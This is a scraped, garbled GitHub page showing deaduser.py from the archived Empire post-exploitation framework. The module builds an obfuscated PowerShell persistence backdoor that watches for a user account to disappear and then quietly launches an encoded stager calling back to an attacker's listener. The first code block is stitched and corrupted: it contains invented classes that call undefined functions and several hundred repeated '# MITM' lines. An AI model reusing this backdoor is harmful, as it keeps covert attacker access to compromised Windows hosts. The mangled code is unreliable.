



This repository has been archived by the owner on Jan 29, 2020. It is now read-only.

Empire / lib / modules / powershell / persistence / powerbreach / deaduser.py
 




xorrior
Updated obfuscate function arguments in all powershell modules
2c7d625 · 7 years ago

History

```

1      import os
2      from lib.common import helpers
3
4  class Module:
5
6      def __init__(self, mainMenu, params=[]):
7
8          self.info = {
9              'Name': 'Invoke-DeadUserBackdoor',
10
11              'Author': ['@sixdub'],
12
13              'Description': ('Backup backdoor for a backdoor user.'),
14
15              'Background' : False,
16
17              'OutputExtension' : None,
18
19              'NeedsAdmin' : False,
20
21              'OpsecSafe' : True,
22
23              'Language' : 'powershell',
24
25              'MinLanguageVersion' : '2',
26
27              'Comments': [
28                  'http://sixdub.net'
29              ]
30          }
31
32          # any options needed by the module, settable during runtime
33          self.options = {
34              # format:
35              #   value_name : {description, required, default_value}
36              'Agent' : {
37                  'Description'      : 'Agent to run module on.',
38                  'Required'        : True,
39                  'Value'           : ''
40              },
41              'Listener' : {
42                  'Description'      : 'Listener to use.',
43                  'Required'        : True,
44                  'Value'           : ''
45              },
46              'OutFile' : {
47                  'Description'      : 'Output the backdoor to a file instead of tasking t
48                  'Required'        : False,
49                  'Value'           : ''
50              },
51              'Timeout' : {
52                  'Description'      : 'Time (in seconds) to run the backdoor. Defaults to
53                  'Required'        : True,
54                  'Value'           : '0'
55          }
```

```

56         'Sleep' : {
57             'Description' : 'Time (in seconds) to sleep between checks.',
58             'Required' : True,
59             'Value' : '30'
60         },
61         'Username' : {
62             'Description' : 'User account to check for existence.',
63             'Required' : True,
64             'Value' : ''
65         },
66         'Domain' : {
67             'Description' : 'Switch. Check the current domain for the user account.',
68             'Required' : False,
69             'Value' : ''
70         }
71     }
72
73     # save off a copy of the mainMenu object to access external functionality
74     # like listeners/agent handlers/etc.
75     self.mainMenu = mainMenu
76
77     for param in params:
78         # parameter format is [Name, Value]
79         option, value = param
80         if option in self.options:
81             self.options[option]['Value'] = value
82
83
84     def generate(self, obfuscate=False, obfuscationCommand=""):
85
86         script = """
87 function Invoke-DeadUserBackdoor
88 {
89     Param(
90     [Parameter(Mandatory=$False,Position=1)]
91     [int]$Timeout=0,
92     [Parameter(Mandatory=$False,Position=2)]
93     [int] $Sleep=30,
94     [Parameter(Mandatory=$True,Position=3)]
95     [string] $Username,
96     [Parameter(Mandatory=$False,Position=4)]
97     [switch] $Domain
98     )
99
100     $running=$True
101     $match = ""
102     $starttime = Get-Date
103     while($running)
104     {
105         if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))
106         {
107             $running=$False
108         }
109         if($Domain)
110         {
111             $UserSearcher = [adsisearcher]"(&(samAccountType=805306368)(samAccountName=$Username)"
112             $UserSearcher.PageSize = 1000
113             $count = @($UserSearcher.FindAll()).Count
114             if($count -eq 0)
115             {
116                 Write-Verbose "Domain user $Username not found!"
117                 $match=$True
118             }
119         }
120         else
121         {
122             $comp = $env:computername
123             [ADSI]$server="WinNT://$comp"
124             $usercheck = $server.children | where{$_.schemaclassname -eq "user" -and $_.schema
125             if(-not $usercheck)
126             {
127                 $match=$True
128             }
129         }
130     }
131 }
132 """
133
134     if obfuscate:
135         script = obfuscationCommand + script
136
137     return script
138
139
140 class DeadUserBackdoor:
141     def __init__(self, mainMenu):
142         self.mainMenu = mainMenu
143         self.options = {}
144         self.params = [
145             ['Sleep', '30', True],
146             ['Username', '', True],
147             ['Domain', '', False]
148         ]
149
150     def generate(self, obfuscate=False, obfuscationCommand=""):
151         return self._generate(script, obfuscate, obfuscationCommand)
152
153     def __str__(self):
154         return self.generate()
155
156     def __repr__(self):
157         return self.generate()
158
159     def __call__(self, obfuscate=False, obfuscationCommand=""):
160         return self.generate(obfuscate, obfuscationCommand)
161
162
163 if __name__ == '__main__':
164     mainMenu = MainMenu()
165     deadUserBackdoor = DeadUserBackdoor(mainMenu)
166     print(deadUserBackdoor)
167
168
169 # MITM
170 # MITM
171 # MITM
172 # MITM
173 # MITM
174 # MITM
175 # MITM
176 # MITM
177 # MITM
178 # MITM
179 # MITM
180 # MITM
181 # MITM
182 # MITM
183 # MITM
184 # MITM
185 # MITM
186 # MITM
187 # MITM
188 # MITM
189 # MITM
190 # MITM
191 # MITM
192 # MITM
193 # MITM
194 # MITM
195 # MITM
196 # MITM
197 # MITM
198 # MITM
199 # MITM
200 # MITM
201 # MITM
202 # MITM
203 # MITM
204 # MITM
205 # MITM
206 # MITM
207 # MITM
208 # MITM
209 # MITM
210 # MITM
211 # MITM
212 # MITM
213 # MITM
214 # MITM
215 # MITM
216 # MITM
217 # MITM
218 # MITM
219 # MITM
220 # MITM
221 # MITM
222 # MITM
223 # MITM
224 # MITM
225 # MITM
226 # MITM
227 # MITM
228 # MITM
229 # MITM
230 # MITM
231 # MITM
232 # MITM
233 # MITM
234 # MITM
235 # MITM
236 # MITM
237 # MITM
238 # MITM
239 # MITM
240 # MITM
241 # MITM
242 # MITM
243 # MITM
244 # MITM
245 # MITM
246 # MITM
247 # MITM
248 # MITM
249 # MITM
250 # MITM
251 # MITM
252 # MITM
253 # MITM
254 # MITM
255 # MITM
256 # MITM
257 # MITM
258 # MITM
259 # MITM
260 # MITM
261 # MITM
262 # MITM
263 # MITM
264 # MITM
265 # MITM
266 # MITM
267 # MITM
268 # MITM
269 # MITM
270 # MITM
271 # MITM
272 # MITM
273 # MITM
274 # MITM
275 # MITM
276 # MITM
277 # MITM
278 # MITM
279 # MITM
280 # MITM
281 # MITM
282 # MITM
283 # MITM
284 # MITM
285 # MITM
286 # MITM
287 # MITM
288 # MITM
289 # MITM
290 # MITM
291 # MITM
292 # MITM
293 # MITM
294 # MITM
295 # MITM
296 # MITM
297 # MITM
298 # MITM
299 # MITM
300 # MITM
301 # MITM
302 # MITM
303 # MITM
304 # MITM
305 # MITM
306 # MITM
307 # MITM
308 # MITM
309 # MITM
310 # MITM
311 # MITM
312 # MITM
313 # MITM
314 # MITM
315 # MITM
316 # MITM
317 # MITM
318 # MITM
319 # MITM
320 # MITM
321 # MITM
322 # MITM
323 # MITM
324 # MITM
325 # MITM
326 # MITM
327 # MITM
328 # MITM
329 # MITM
330 # MITM
331 # MITM
332 # MITM
333 # MITM
334 # MITM
335 # MITM
336 # MITM
337 # MITM
338 # MITM
339 # MITM
340 # MITM
341 # MITM
342 # MITM
343 # MITM
344 # MITM
345 # MITM
346 # MITM
347 # MITM
348 # MITM
349 # MITM
350 # MITM
351 # MITM
352 # MITM
353 # MITM
354 # MITM
355 # MITM
356 # MITM
357 # MITM
358 # MITM
359 # MITM
360 # MITM
361 # MITM
362 # MITM
363 # MITM
364 # MITM
365 # MITM
366 # MITM
367 # MITM
368 # MITM
369 # MITM
370 # MITM
371 # MITM
372 # MITM
373 # MITM
374 # MITM
375 # MITM
376 # MITM
377 # MITM
378 # MITM
379 # MITM
380 # MITM
381 # MITM
382 # MITM
383 # MITM
384 # MITM
385 # MITM
386 # MITM
387 # MITM
388 # MITM
389 # MITM
390 # MITM
391 # MITM
392 # MITM
393 # MITM
394 # MITM
395 # MITM
396 # MITM
397 # MITM
398 # MITM
399 # MITM
400 # MITM
401 # MITM
402 # MITM
403 # MITM
404 # MITM
405 # MITM
406 # MITM
407 # MITM
408 # MITM
409 # MITM
410 # MITM
411 # MITM
412 # MITM
413 # MITM
414 # MITM
415 # MITM
416 # MITM
417 # MITM
418 # MITM
419 # MITM
420 # MITM
421 # MITM
422 # MITM
423 # MITM
424 # MITM
425 # MITM
426 # MITM
427 # MITM
428 # MITM
429 # MITM
430 # MITM
431 # MITM
432 # MITM
433 # MITM
434 # MITM
435 # MITM
436 # MITM
437 # MITM
438 # MITM
439 # MITM
440 # MITM
441 # MITM
442 # MITM
443 # MITM
444 # MITM
445 # MITM
446 # MITM
447 # MITM
448 # MITM
449 # MITM
450 # MITM
451 # MITM
452 # MITM
453 # MITM
454 # MITM
455 # MITM
456 # MITM
457 # MITM
458 # MITM
459 # MITM
460 # MITM
461 # MITM
462 # MITM
463 # MITM
464 # MITM
465 # MITM
466 # MITM
467 # MITM
468 # MITM
469 # MITM
470 # MITM
471 # MITM
472 # MITM
473 # MITM
474 # MITM
475 # MITM
476 # MITM
477 # MITM
478 # MITM
479 # MITM
480 # MITM
481 # MITM
482 # MITM
483 # MITM
484 # MITM
485 # MITM
486 # MITM
487 # MITM
488 # MITM
489 # MITM
490 # MITM
491 # MITM
492 # MITM
493 # MITM
494 # MITM
495 # MITM
496 # MITM
497 # MITM
498 # MITM
499 # MITM
500 # MITM
501 # MITM
502 # MITM
503 # MITM
504 # MITM
505 # MITM
506 # MITM
507 # MITM
508 # MITM
509 # MITM
510 # MITM
511 # MITM
512 # MITM
513 # MITM
514 # MITM
515 # MITM
516 # MITM
517 # MITM
518 # MITM
519 # MITM
520 # MITM
521 # MITM
522 # MITM
523 # MITM
524 # MITM
525 # MITM
526 # MITM
527 # MITM
528 # MITM
529 # MITM
530 # MITM
531 # MITM
532 # MITM
533 # MITM
534 # MITM
535 # MITM
536 # MITM
537 # MITM
538 # MITM
539 # MITM
540 # MITM
541 # MITM
542 # MITM
543 # MITM
544 # MITM
545 # MITM
546 # MITM
547 # MITM
548 # MITM
549 # MITM
550 # MITM
551 # MITM
552 # MITM
553 # MITM
554 # MITM
555 # MITM
556 # MITM
557 # MITM
558 # MITM
559 # MITM
560 # MITM
561 # MITM
562 # MITM
563 # MITM
564 # MITM
565 # MITM
566 # MITM
567 # MITM
568 # MITM
569 # MITM
570 # MITM
571 # MITM
572 # MITM
573 # MITM
574 # MITM
575 # MITM
576 # MITM
577 # MITM
578 # MITM
579 # MITM
580 # MITM
581 # MITM
582 # MITM
583 # MITM
584 # MITM
585 # MITM
586 # MITM
587 # MITM
588 # MITM
589 # MITM
590 # MITM
591 # MIT
```

Files

e37fb2e

Q

Q

Go to file

>

github

>

data

>

lib

>

common

>

listeners

>

modules

>

exfiltration

>

external

>

powershell

>

code_execution

>

collection

>

credentials

>

exfiltration

>

exploitation

>

lateral_movement

>

management

>

persistence

>

elevated

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

```

        if($match)
        {
            REPLACE_LAUNCHER
            $running=$False
        }
        else
        {
            Start-Sleep -s $Sleep
        }
    }
}

Invoke-DeadUserBackdoor""

        listenerName = self.options['Listener']['Value']

        if not self.mainMenu.listeners.is_listener_valid(listenerName):
            # not a valid listener, return nothing for the script
            print helpers.color("[!] Invalid listener: " + listenerName)
            return ""

        else:
            # set the listener value for the launcher
            stager = self.mainMenu.stagers.stagers["multi/launcher"]
            stager.options['Listener']['Value'] = listenerName
            stager.options['Base64']['Value'] = "False"

            # and generate the code
            stagerCode = stager.generate()

            if stagerCode == "":
                return ""
            else:
                script = script.replace("REPLACE_LAUNCHER", stagerCode)
                script = script.encode('ascii', 'ignore')

        for option,values in self.options.iteritems():
            if option.lower() != "agent" and option.lower() != "listener" and option.lo
            if values['Value'] and values['Value'] != '':
                if values['Value'].lower() == "true":

```

Empire / lib / modules / powershell / persistence / powerbreach / deaduser.py

↑ Top

Code

Blame

201 lines (170 loc) · 6.79 KB

Raw

Copy

Download

Diff

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

```

        outFile = self.options['OutFile']['Value']
        if outFile != '':
            # make the base directory if it doesn't exist
            if not os.path.exists(os.path.dirname(outFile)) and os.path.dirname(outFile)
                os.makedirs(os.path.dirname(outFile))

            f = open(outFile, 'w')
            f.write(script)
            f.close()

            print helpers.color("[+] PowerBreach deaduser backdoor written to " + outFi
            return ""

        if obfuscate:
            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfu
            # transform the backdoor into something launched by powershell.exe
            # so it survives the agent exiting
            modifiable_launcher = "powershell.exe -noP -sta -w 1 -enc "
            launcher = helpers.powershell_launcher(script, modifiable_launcher)
            stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher
            parts = stagerCode.split(" ")

            # set up the start-process command so no new windows appears
            scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s';
            if obfuscate:
                scriptLauncher = helpers.obfuscate(self.mainMenu.installPath, psScript=scri

            return scriptLauncher

```

Page 3 of 4

